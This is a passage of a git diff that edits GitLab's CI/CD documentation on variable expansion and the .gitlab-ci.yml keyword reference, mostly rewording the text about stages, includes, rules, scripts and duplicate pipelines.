| `CI_REGISTRY_USER` | 9.0 | all | The username to use to push containers to the GitLab Container Registry, for the current project. |
diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md
index b914f3db572..f2dc58bc144 100644
--- a/doc/ci/variables/where_variables_can_be_used.md
+++ b/doc/ci/variables/where_variables_can_be_used.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -24,7 +24,7 @@ There are two places defined variables can be used. On the:
| Definition | Can be expanded? | Expansion place | Description |
|:-------------------------------------------|:-----------------|:-----------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `environment:url` | yes | GitLab | The variable expansion is made by GitLab's [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism).<br/><br/>Supported are all variables defined for a job (project/group variables, variables from `.gitlab-ci.yml`, variables from triggers, variables from pipeline schedules).<br/><br/>Not supported are variables defined in the GitLab Runner `config.toml` and variables created in the job's `script`. |
+| `environment:url` | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab.<br/><br/>Supported are all variables defined for a job (project/group variables, variables from `.gitlab-ci.yml`, variables from triggers, variables from pipeline schedules).<br/><br/>Not supported are variables defined in the GitLab Runner `config.toml` and variables created in the job's `script`. |
| `environment:name` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). |
| `resource_group` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). |
| `variables` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) |
@@ -57,8 +57,8 @@ There are three expansion mechanisms:
### GitLab internal variable expansion mechanism
The expanded part needs to be in a form of `$variable`, or `${variable}` or `%variable%`.
-Each form is handled in the same way, no matter which OS/shell will finally handle the job,
-since the expansion is done in GitLab before any runner will get the job.
+Each form is handled in the same way, no matter which OS/shell handles the job,
+because the expansion is done in GitLab before any runner gets the job.
### GitLab Runner internal variable expansion mechanism
@@ -66,7 +66,7 @@ since the expansion is done in GitLab before any runner will get the job.
variables from triggers, pipeline schedules, and manual pipelines.
- Not supported: variables defined inside of scripts (e.g., `export MY_VARIABLE="test"`).
-The runner uses Go's `os.Expand()` method for variable expansion. It means that it will handle
+The runner uses Go's `os.Expand()` method for variable expansion. It means that it handles
only variables defined as `$variable` and `${variable}`. What's also important, is that
the expansion is done only once, so nested variables may or may not work, depending on the
ordering of variables definitions.
@@ -77,7 +77,7 @@ This is an expansion that takes place during the `script` execution.
How it works depends on the used shell (`bash`, `sh`, `cmd`, PowerShell). For example, if the job's
`script` contains a line `echo $MY_VARIABLE-${MY_VARIABLE_2}`, it should be properly handled
by bash/sh (leaving empty strings or some values depending whether the variables were
-defined or not), but will not work with Windows' `cmd` or PowerShell, since these shells
+defined or not), but don't work with Windows' `cmd` or PowerShell, since these shells
are using a different variables syntax.
Supported:
@@ -87,10 +87,10 @@ Supported:
`.gitlab-ci.yml` variables, `config.toml` variables, and variables from triggers and pipeline schedules).
- The `script` may also use all variables defined in the lines before. So, for example, if you define
a variable `export MY_VARIABLE="test"`:
- - In `before_script`, it will work in the following lines of `before_script` and
+ - In `before_script`, it works in the following lines of `before_script` and
all lines of the related `script`.
- - In `script`, it will work in the following lines of `script`.
- - In `after_script`, it will work in following lines of `after_script`.
+ - In `script`, it works in the following lines of `script`.
+ - In `after_script`, it works in following lines of `after_script`.
In the case of `after_script` scripts, they can:
@@ -133,7 +133,7 @@ due to security reasons.
Variables defined with an environment scope are supported. Given that
there is a variable `$STAGING_SECRET` defined in a scope of
`review/staging/*`, the following job that is using dynamic environments
-is going to be created, based on the matching variable expression:
+is created, based on the matching variable expression:
```yaml
my-job:
diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md
index 1057a1389de..7ca74cdf2a2 100644
--- a/doc/ci/yaml/README.md
+++ b/doc/ci/yaml/README.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -13,31 +13,30 @@ This document lists the configuration options for your GitLab `.gitlab-ci.yml` f
- For a collection of examples, see [GitLab CI/CD Examples](../examples/README.md).
- To view a large `.gitlab-ci.yml` file used in an enterprise, see the [`.gitlab-ci.yml` file for `gitlab`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml).
-While you are authoring your `.gitlab-ci.yml` file, you can validate it
-by using the [CI Lint](../lint.md) tool.
-project namespace. For example, `https://gitlab.example.com/gitlab-org/project-123/-/ci/lint`.
+When you are editing your `.gitlab-ci.yml` file, you can validate it with the
+[CI Lint](../lint.md) tool.
## Job keywords
A job is defined as a list of keywords that define the job's behavior.
-The following table lists available keywords for jobs:
+The keywords available for jobs are:
| Keyword | Description |
|:---------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| [`script`](#script) | Shell script that is executed by a runner. |
+| [`script`](#script) | Shell script that is executed by a runner. |
| [`after_script`](#after_script) | Override a set of commands that are executed after job. |
-| [`allow_failure`](#allow_failure) | Allow job to fail. Failed job does not contribute to commit status. |
+| [`allow_failure`](#allow_failure) | Allow job to fail. A failed job does not cause the pipeline to fail. |
| [`artifacts`](#artifacts) | List of files and directories to attach to a job on success. Also available: `artifacts:paths`, `artifacts:exclude`, `artifacts:expose_as`, `artifacts:name`, `artifacts:untracked`, `artifacts:when`, `artifacts:expire_in`, and `artifacts:reports`. |
| [`before_script`](#before_script) | Override a set of commands that are executed before job. |
-| [`cache`](#cache) | List of files that should be cached between subsequent runs. Also available: `cache:paths`, `cache:key`, `cache:untracked`, `cache:when`, and `cache:policy`. |
+| [`cache`](#cache) | List of files that should be cached between subsequent runs. Also available: `cache:paths`, `cache:key`, `cache:untracked`, `cache:when`, and `cache:policy`. |
| [`coverage`](#coverage) | Code coverage settings for a given job. |
| [`dependencies`](#dependencies) | Restrict which artifacts are passed to a specific job by providing a list of jobs to fetch artifacts from. |
| [`environment`](#environment) | Name of an environment to which the job deploys. Also available: `environment:name`, `environment:url`, `environment:on_stop`, `environment:auto_stop_in`, and `environment:action`. |
| [`except`](#onlyexcept-basic) | Limit when jobs are not created. Also available: [`except:refs`, `except:kubernetes`, `except:variables`, and `except:changes`](#onlyexcept-advanced). |
-| [`extends`](#extends) | Configuration entries that this job inherits from. |
+| [`extends`](#extends) | Configuration entries that this job inherits from. |
| [`image`](#image) | Use Docker images. Also available: `image:name` and `image:entrypoint`. |
-| [`include`](#include) | Allows this job to include external YAML files. Also available: `include:local`, `include:file`, `include:template`, and `include:remote`. |
+| [`include`](#include) | Include external YAML files. Also available: `include:local`, `include:file`, `include:template`, and `include:remote`. |
| [`interruptible`](#interruptible) | Defines if a job can be canceled when made redundant by a newer run. |
| [`only`](#onlyexcept-basic) | Limit when jobs are created. Also available: [`only:refs`, `only:kubernetes`, `only:variables`, and `only:changes`](#onlyexcept-advanced). |
| [`pages`](#pages) | Upload the result of a job to use with GitLab Pages. |
@@ -48,7 +47,7 @@ The following table lists available keywords for jobs:
| [`rules`](#rules) | List of conditions to evaluate and determine selected attributes of a job, and whether or not it's created. May not be used alongside `only`/`except`. |
| [`services`](#services) | Use Docker services images. Also available: `services:name`, `services:alias`, `services:entrypoint`, and `services:command`. |
| [`stage`](#stage) | Defines a job stage (default: `test`). |
-| [`tags`](#tags) | List of tags that are used to select a runner. |
+| [`tags`](#tags) | List of tags that are used to select a runner. |
| [`timeout`](#timeout) | Define a custom job-level timeout that takes precedence over the project-wide setting. |
| [`trigger`](#trigger) | Defines a downstream pipeline trigger. |
| [`variables`](#variables) | Define job variables on a job level. |
@@ -69,20 +68,20 @@ can't be used as job names**:
- `cache`
- `include`
-## Global keywords
-
-Some keywords must be defined at a global level, affecting all jobs in the pipeline.
+### Reserved keywords
-### Using reserved keywords
-
-If you get validation error when using specific values (for example, `true` or `false`), try to:
+If you get a validation error when using specific values (for example, `true` or `false`), try to:
- Quote them.
- Change them to a different form. For example, `/bin/true`.
+## Global keywords
+
+Some keywords are defined at a global level and affect all jobs in the pipeline.
+
### Global defaults
-Some keywords can be set globally as the default for all jobs using the
+Some keywords can be set globally as the default for all jobs with the
`default:` keyword. Default keywords can then be overridden by job-specific
configuration.
@@ -121,7 +120,7 @@ rspec 2.6:
You can disable inheritance of globally defined defaults
and variables with the `inherit:` keyword.
-To enable or disable the inheritance of all `variables:` or `default:` keywords, use the following format:
+To enable or disable the inheritance of all `default:` or `variables:` keywords, use:
- `default: true` or `default: false`
- `variables: true` or `variables: false`
@@ -198,17 +197,16 @@ karma:
### `stages`
-`stages` is used to define stages that contain jobs and is defined
-globally for the pipeline.
+Use `stages` to define stages that contain groups of jobs. `stages` is defined globally
+for the pipeline. Use [`stage`](#stage) in a job to define which stage the job is
+part of.
-The specification of `stages` allows for having flexible multi stage pipelines.
-The ordering of elements in `stages` defines the ordering of jobs' execution:
+The order of the `stages` items defines the execution order for jobs:
-1. Jobs of the same stage are run in parallel.
-1. Jobs of the next stage are run after the jobs from the previous stage
- complete successfully.
+- Jobs in the same stage run in parallel.
+- Jobs in the next stage run after the jobs from the previous stage complete successfully.
-Let's consider the following example, which defines 3 stages:
+For example:
```yaml
stages:
@@ -217,25 +215,28 @@ stages:
- deploy
```
-1. First, all jobs of `build` are executed in parallel.
-1. If all jobs of `build` succeed, the `test` jobs are executed in parallel.
-1. If all jobs of `test` succeed, the `deploy` jobs are executed in parallel.
-1. If all jobs of `deploy` succeed, the commit is marked as `passed`.
-1. If any of the previous jobs fails, the commit is marked as `failed` and no
- jobs of further stage are executed.
+1. All jobs in `build` execute in parallel.
+1. If all jobs in `build` succeed, the `test` jobs execute in parallel.
+1. If all jobs in `test` succeed, the `deploy` jobs execute in parallel.
+1. If all jobs in `deploy` succeed, the pipeline is marked as `passed`.
+
+If any job fails, the pipeline is marked as `failed` and jobs in later stages do not
+start. Jobs in the current stage are not stopped and continue to run.
-There are also two edge cases worth mentioning:
+If no `stages` are defined in `.gitlab-ci.yml`, then `build`, `test` and `deploy`
+are the default pipeline stages.
-1. If no `stages` are defined in `.gitlab-ci.yml`, then the `build`,
- `test` and `deploy` are allowed to be used as job's stage by default.
-1. If a job does not specify a `stage`, the job is assigned the `test` stage.
+If a job does not specify a [`stage`](#stage), the job is assigned the `test` stage.
+
+To make a job start earlier and ignore the stage order, use
+the [`needs`](#needs) keyword.
### `workflow:rules`
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29654) in GitLab 12.5
The top-level `workflow:` keyword determines whether or not a pipeline is created.
-It accepts a single `rules:` keyword that is similar to [`rules:` defined within jobs](#rules).
+It accepts a single `rules:` keyword that is similar to [`rules:` defined in jobs](#rules).
Use it to define what can trigger a new pipeline.
You can use the [`workflow:rules` templates](#workflowrules-templates) to import
@@ -291,12 +292,11 @@ workflow:
```
This example prevents pipelines for schedules or `push` (branches and tags) pipelines.
-The final `when: always` rule lets all other pipeline types run, **including** merge
+The final `when: always` rule runs all other pipeline types, **including** merge
request pipelines.
-Be careful not to have rules that match both branch pipelines
-and merge request pipelines. Similar to `rules` defined in jobs, this can cause
-[duplicate pipelines](#prevent-duplicate-pipelines).
+If your rules match both branch pipelines and merge request pipelines,
+[duplicate pipelines](#prevent-duplicate-pipelines) can occur.
#### `workflow:rules` templates
@@ -308,7 +308,7 @@ for common scenarios. These templates help prevent duplicate pipelines.
The [`Branch-Pipelines` template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Workflows/Branch-Pipelines.gitlab-ci.yml)
makes your pipelines run for branches and tags.
-Branch pipeline status is displayed within merge requests that use the branch
+Branch pipeline status is displayed in merge requests that use the branch
as a source. However, this pipeline type does not support any features offered by
[Merge Request Pipelines](../merge_request_pipelines/), like
[Pipelines for Merge Results](../merge_request_pipelines/#pipelines-for-merged-results)
@@ -341,17 +341,18 @@ include:
> - Available for Starter, Premium, and Ultimate in GitLab 10.6 and later.
> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/42861) to GitLab Core in 11.4.
-Using the `include` keyword allows the inclusion of external YAML files. This helps
-to break down the CI/CD configuration into multiple files and increases readability for long configuration files.
-It's also possible to have template files stored in a central repository and projects include their
-configuration files. This helps avoid duplicated configuration, for example, global default variables for all projects.
+Use the `include` keyword to include external YAML files in your CI/CD configuration.
+You can break down one long `gitlab-ci.yml` into multiple files to increase readability,
+or reduce duplication of the same configuration in multiple places.
+
+You can also store template files in a central repository and `include` them in projects.
`include` requires the external YAML file to have the extensions `.yml` or `.yaml`,
otherwise the external file is not included.
-Using [YAML anchors](#anchors) across different YAML files sourced by `include` is not
-supported. You must only refer to anchors in the same file. Instead
-of using YAML anchors, you can use the [`extends` keyword](#extends).
+You can't use [YAML anchors](#anchors) across different YAML files sourced by `include`.
+You can only refer to anchors in the same file. Instead of YAML anchors, you can
+use the [`extends` keyword](#extends).
`include` supports the following inclusion methods:
@@ -374,20 +375,20 @@ The files defined by `include` are:
- Always evaluated first and merged with the content of `.gitlab-ci.yml`,
regardless of the position of the `include` keyword.
-TIP: **Tip:**
+NOTE:
Use merging to customize and override included CI/CD configurations with local
definitions. Local definitions in `.gitlab-ci.yml` override included definitions.
#### `include:local`
`include:local` includes a file from the same repository as `.gitlab-ci.yml`.
-It's referenced using full paths relative to the root directory (`/`).
+It's referenced with full paths relative to the root directory (`/`).
You can only use files that are tracked by Git on the same branch
-your configuration file is on. In other words, when using a `include:local`, make
+your configuration file is on. If you `include:local`, make
sure that both `.gitlab-ci.yml` and the local file are on the same branch.
-Including local files through Git submodules paths is not supported.
+You can't include local files through Git submodules paths.
All [nested includes](#nested-includes) are executed in the scope of the same project,
so it's possible to use local, project, remote, or template includes.
@@ -412,7 +413,7 @@ include: '.gitlab-ci-production.yml'
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53903) in GitLab 11.7.
To include files from another private project under the same GitLab instance,
-use `include:file`. This file is referenced using full paths relative to the
+use `include:file`. This file is referenced with full paths relative to the
root directory (`/`). For example:
```yaml
@@ -439,8 +440,7 @@ include:
```
All [nested includes](#nested-includes) are executed in the scope of the target project.
-This means you can use local (relative to target project), project, remote,
-or template includes.
+You can use local (relative to target project), project, remote, or template includes.
##### Multiple files from a project
@@ -490,8 +490,8 @@ include:
- remote: 'https://gitlab.com/awesome-project/raw/master/.gitlab-ci-template.yml'
```
-All [nested includes](#nested-includes) are executed without context as public user, so only another remote
-or public project, or template, is allowed.
+All [nested includes](#nested-includes) are executed without context as a public user,
+so you can only `include` public projects or templates.
#### `include:template`
@@ -503,7 +503,7 @@ or public project, or template, is allowed.
For example:
```yaml
-# File sourced from GitLab's template collection
+# File sourced from the GitLab template collection
include:
- template: Auto-DevOps.gitlab-ci.yml
```
@@ -523,9 +523,9 @@ so it's possible to use project, remote or template includes.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56836) in GitLab 11.9.
-Nested includes allow you to compose a set of includes.
+Use nested includes to compose a set of includes.
-A total of 100 includes is allowed, but duplicate includes are considered a configuration error.
+You can have up to 100 includes, but you can't have duplicate includes.
In [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/28212) and later, the time limit
to resolve all files is 30 seconds.
@@ -633,10 +633,8 @@ job:
#### `before_script`
-> Introduced in GitLab 8.7 and requires GitLab Runner v1.2.
-
-`before_script` is used to define commands that should run before each job, including
-deploy jobs, but after the restoration of any [artifacts](#artifacts). This must be an array.
+`before_script` is used to define an array of commands that should run before each job,
+but after [artifacts](#artifacts) are restored.
Scripts specified in `before_script` are concatenated with any scripts specified
in the main [`script`](#script), and executed together in a single shell.
@@ -646,27 +644,25 @@ It's possible to overwrite a globally defined `before_script` if you define it i
```yaml
default:
before_script:
- - echo "Execute this in all jobs that don't already have a before_script section."
+ - echo "Execute this script in all jobs that don't already have a before_script section."
job1:
script:
- - echo "This executes after the global before_script."
+ - echo "This script executes after the global before_script."
job:
before_script:
- - echo "Execute this instead of the global before_script."
+ - echo "Execute this script instead of the global before_script."
script:
- - echo "This executes after the job's `before_script`"
+ - echo "This script executes after the job's `before_script`"
```
You can use [YAML anchors with `before_script`](#yaml-anchors-for-scripts).
#### `after_script`
-Introduced in GitLab 8.7 and requires GitLab Runner v1.2.
-
-`after_script` is used to define commands that run after each job, including failed
-jobs. This must be an array.
+`after_script` is used to define an array of commands that run after each job,
+including failed jobs.
If a job times out or is cancelled, the `after_script` commands are not executed.
Support for executing `after_script` commands for timed-out or cancelled jobs
@@ -688,17 +684,17 @@ Scripts specified in `after_script` are executed in a new shell, separate from a
```yaml
default:
after_script:
- - echo "Execute this in all jobs that don't already have an after_script section."
+ - echo "Execute this script in all jobs that don't already have an after_script section."
job1:
script:
- - echo "This executes first. When it completes, the global after_script executes."
+ - echo "This script executes first. When it completes, the global after_script executes."
job:
script:
- - echo "This executes first. When it completes, the job's `after_script` executes."
+ - echo "This script executes first. When it completes, the job's `after_script` executes."
after_script:
- - echo "Execute this instead of the global after_script."
+ - echo "Execute this script instead of the global after_script."
```
You can use [YAML anchors with `after_script`](#yaml-anchors-for-scripts).
@@ -715,7 +711,7 @@ You can use special syntax in [`script`](README.md#script) sections to:
### `stage`
`stage` is defined per-job and relies on [`stages`](#stages), which is defined
-globally. It allows to group jobs into different stages, and jobs of the same
+globally. Use `stage` to define which stage a job runs in, and jobs of the same
`stage` are executed in parallel (subject to [certain conditions](#using-your-own-runners)). For example:
```yaml
@@ -751,14 +747,12 @@ job 5:
#### Using your own runners
-When you use your own runners, GitLab Runner runs only one job at a time by default. See the
-`concurrent` flag in [runner global settings](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section)
-for more information.
-
-Jobs run on your own runners in parallel only if:
+When you use your own runners, each runner runs only one job at a time by default.
+Jobs can run in parallel if they run on different runners.
-- Run on different runners.
-- The runner's `concurrent` setting has been changed.
+If you have only one runner, jobs can run in parallel if the runner's
+[`concurrent` setting](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section)
+is greater than `1`.
#### `.pre` and `.post`
@@ -854,9 +848,8 @@ If you do want to include the `rake test`, see [`before_script`](#before_script)
`.tests` in this example is a [hidden job](#hide-jobs), but it's
possible to inherit from regular jobs as well.
-`extends` supports multi-level inheritance. You should avoid using more than 3 levels,
-but you can use as many as eleven.
-The following example has two levels of inheritance:
+`extends` supports multi-level inheritance. You should avoid using more than three levels,
+but you can use as many as eleven. The following example has two levels of inheritance:
```yaml
.tests:
@@ -922,7 +915,7 @@ rspec:
- rake rspec
```
-This results in the following `rspec` job:
+The result is this `rspec` job:
```yaml
rspec:
@@ -961,7 +954,7 @@ For example, if you have a local `included.yml` file:
- echo Hello!
```
-Then, in `.gitlab-ci.yml` you can use it like this:
+Then, in `.gitlab-ci.yml`:
```yaml
include: included.yml
@@ -991,11 +984,12 @@ If you attempt to use both keywords in the same job, the linter returns a
#### Rules attributes
-The job attributes allowed by `rules` are:
+The job attributes you can use with `rules` are:
- [`when`](#when): If not defined, defaults to `when: on_success`.
- If used as `when: delayed`, `start_in` is also required.
- [`allow_failure`](#allow_failure): If not defined, defaults to `allow_failure: false`.
+- [`variables`](#rulesvariables): If not defined, uses the [variables defined elsewhere](#variables).
If a rule evaluates to true, and `when` has any value except `never`, the job is included in the pipeline.
@@ -1011,9 +1005,6 @@ docker build:
allow_failure: true
```
-Additional job configuration may be added to rules in the future. If something
-useful is not available, please [open an issue](https://gitlab.com/gitlab-org/gitlab/-/issues).
-
#### Rules clauses
Available rule clauses are:
@@ -1047,7 +1038,7 @@ For example, using `if` clauses to strictly limit when jobs run:
```yaml
job:
- script: "echo Hello, Rules!"
+ script: echo "Hello, Rules!"
rules:
- if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
when: manual
@@ -1061,11 +1052,11 @@ In this example:
is added to the [merge request pipeline](../merge_request_pipelines/index.md)
with attributes of:
- `when: manual` (manual job)
- - `allow_failure: true` (allows the pipeline to continue running even if the manual job is not run)
+ - `allow_failure: true` (the pipeline continues running even if the manual job is not run)
- If the pipeline is **not** for a merge request, the first rule doesn't match, and the
second rule is evaluated.
- If the pipeline is a scheduled pipeline, the second rule matches, and the job
- is added to the scheduled pipeline. Since no attributes were defined, it is added
+ is added to the scheduled pipeline. No attributes were defined, so it is added
with:
- `when: on_success` (default)
- `allow_failure: false` (default)
@@ -1076,7 +1067,7 @@ run them in all other cases:
```yaml
job:
- script: "echo Hello, Rules!"
+ script: echo "Hello, Rules!"
rules:
- if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
when: never
@@ -1089,7 +1080,7 @@ job:
- If the pipeline is a scheduled pipeline, the job is **not** be added to the pipeline.
- In **all other cases**, the job is added to the pipeline, with `when: on_success`.
-CAUTION: **Caution:**
+WARNING:
If you use a `when:` clause as the final rule (not including `when: never`), two
simultaneous pipelines may start. Both push pipelines and merge request pipelines can
be triggered by the same event (a push to the source branch for an open merge request).
@@ -1100,8 +1091,8 @@ for more details.
Jobs defined with `rules` can trigger multiple pipelines with the same action. You
don't have to explicitly configure rules for each type of pipeline to trigger them
-accidentally. Rules that are too loose (allowing too many types of pipelines) could
-cause a second pipeline to run unexpectedly.
+accidentally. Rules that are too broad could cause simultaneous pipelines of a different
+type to run unexpectedly.
Some configurations that have the potential to cause duplicate pipelines cause a
[pipeline warning](../troubleshooting.md#pipeline-warnings) to be displayed.
@@ -1111,7 +1102,7 @@ For example:
```yaml
job:
- script: "echo This creates double pipelines!"
+ script: echo "This job creates double pipelines!"
rules:
- if: '$CUSTOM_VARIABLE == "false"'
when: never
@@ -1123,18 +1114,18 @@ other pipelines, including **both** push (branch) and merge request pipelines. W
this configuration, every push to an open merge request's source branch
causes duplicated pipelines.
-There are multiple ways to avoid this:
+There are multiple ways to avoid duplicate pipelines:
- Use [`workflow: rules`](#workflowrules) to specify which types of pipelines
- can run. To eliminate duplicate pipelines, allow only merge request pipelines
- or push (branch) pipelines.
+ can run. To eliminate duplicate pipelines, use merge request pipelines only
+ or push (branch) pipelines only.
- Rewrite the rules to run the job only in very specific cases,
and avoid using a final `when:` rule:
```yaml
job:
- script: "echo This does NOT create double pipelines!"
+ script: echo "This job does NOT create double pipelines!"
rules:
- if: '$CUSTOM_VARIABLE == "true" && $CI_PIPELINE_SOURCE == "merge_request_event"'
```
@@ -1148,7 +1139,7 @@ without `workflow: rules`:
```yaml
job:
- script: "echo This does NOT create double pipelines!"
+ script: echo "This job does NOT create double pipelines!"
rules:
- if: '$CI_PIPELINE_SOURCE == "push"'
when: never
@@ -1159,7 +1150,7 @@ Do not include both push and merge request pipelines in the same job:
```yaml
job:
- script: "echo This creates double pipelines!"
+ script: echo "This job creates double pipelines!"
rules:
- if: '$CI_PIPELINE_SOURCE == "push"'
- if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
@@ -1171,10 +1162,10 @@ and `rules` can cause issues that are difficult to troubleshoot:
```yaml
job-with-no-rules:
- script: "echo This job runs in branch pipelines."
+ script: echo "This job runs in branch pipelines."
job-with-rules:
- script: "echo This job runs in merge request pipelines."
+ script: echo "This job runs in merge request pipelines."
rules:
- if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
```
@@ -1196,7 +1187,7 @@ See the [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) fo
#### `rules:if`
`rules:if` clauses determine whether or not jobs are added to a pipeline by evaluating
-a simple `if` statement. If the `if` statement is true, the job is either included
+an `if` statement. If the `if` statement is true, the job is either included
or excluded from a pipeline. In plain English, `if` rules can be interpreted as one of:
- "If this rule evaluates to true, add the job" (default).
@@ -1205,8 +1196,8 @@ or excluded from a pipeline. In plain English, `if` rules can be interpreted as
`rules:if` differs slightly from `only:variables` by accepting only a single
expression string per rule, rather than an array of them. Any set of expressions to be
evaluated can be [conjoined into a single expression](../variables/README.md#conjunction--disjunction)
-by using `&&` or `||`, and use
-the [variable matching syntax](../variables/README.md#syntax-of-environment-variable-expressions).
+by using `&&` or `||`, and the [variable matching operators (`==`, `!=`, `=~` and `!~`)](../variables/README.md#syntax-of-environment-variable-expressions).
+
Unlike variables in [`script`](../variables/README.md#syntax-of-environment-variables-in-job-scripts)
sections, variables in rules expressions are always formatted as `$VARIABLE`.
@@ -1217,7 +1208,7 @@ For example:
```yaml
job:
- script: "echo Hello, Rules!"
+ script: echo "Hello, Rules!"
rules:
- if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master"'
when: always
@@ -1250,7 +1241,7 @@ check the value of the `$CI_PIPELINE_SOURCE` variable:
| `external` | When using CI services other than GitLab. |
| `external_pull_request_event` | When an external pull request on GitHub is created or updated. See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). |
| `merge_request_event` | For pipelines created when a merge request is created or updated. Required to enable [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). |
-| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`, use this in the child pipeline configuration so that it can be triggered by the parent pipeline. |
+| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`. Use this pipeline source in the child pipeline configuration so that it can be triggered by the parent pipeline. |
| `pipeline` | For [multi-project pipelines](../multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../multi_project_pipelines.md#triggering-multi-project-pipelines-through-api), or the [`trigger`](#trigger) keyword. |
| `push` | For pipelines triggered by a `git push` event, including for branches and tags. |
| `schedule` | For [scheduled pipelines](../pipelines/schedules.md). |
@@ -1262,7 +1253,7 @@ For example:
```yaml
job:
- script: "echo Hello, Rules!"
+ script: echo "Hello, Rules!"
rules:
- if: '$CI_PIPELINE_SOURCE == "schedule"'
when: manual
@@ -1278,7 +1269,7 @@ Another example:
```yaml
job:
- script: "echo Hello, Rules!"
+ script: echo "Hello, Rules!"
rules:
- if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
- if: '$CI_PIPELINE_SOURCE == "schedule"'
@@ -1293,8 +1284,8 @@ Other commonly used variables for `if` clauses:
- `if: $CI_COMMIT_BRANCH`: If changes are pushed to any branch.
- `if: '$CI_COMMIT_BRANCH == "master"'`: If changes are pushed to `master`.
- `if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH'`: If changes are pushed to the default
- branch (usually `master`). Useful if reusing the same configuration in multiple
- projects with potentially different default branches.
+ branch (usually `master`). Use when you want to have the same configuration in multiple
+ projects with different default branches.
- `if: '$CI_COMMIT_BRANCH =~ /regex-expression/'`: If the commit branch matches a regular expression.
- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-environment-variables)
`CUSTOM_VARIABLE` does **not** match a regular expression.
@@ -1325,8 +1316,8 @@ docker build:
In this example:
- If the pipeline is a merge request pipeline, check `Dockerfile` for changes.
-- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and allow the pipeline
- to continue running even if the job is not triggered (`allow_failure: true`).
+- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and the pipeline
+ continues running even if the job is not triggered (`allow_failure: true`).
- If `Dockerfile` has not changed, do not add job to any pipeline (same as `when: never`).
To use `rules: changes` with branch pipelines instead of merge request pipelines,
@@ -1340,7 +1331,7 @@ rules:
To implement a rule similar to [`except:changes`](#onlychangesexceptchanges),
use `when: never`.
-CAUTION: **Caution:**
+WARNING:
You can use `rules: changes` with other pipeline types, but it is not recommended
because `rules: changes` always evaluates to true when there is no Git `push` event.
Tag pipelines, scheduled pipelines, and so on do **not** have a Git `push` event
@@ -1350,14 +1341,7 @@ if there is no `if:` statement that limits the job to branch or merge request pi
##### Variables in `rules:changes`
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34272) in GitLab 13.6.
-> - It was [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
-> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.6.
-> - It's enabled on GitLab.com.
-> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-variables-support-in-ruleschanges). **(CORE ONLY)**
-
-CAUTION: **Warning:**
-This feature might not be available to you. Check the **version history** note above for details.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.7.
Environment variables can be used in `rules:changes` expressions to determine when
to add jobs to a pipeline:
@@ -1376,33 +1360,12 @@ The `$` character can be used for both variables and paths. For example, if the
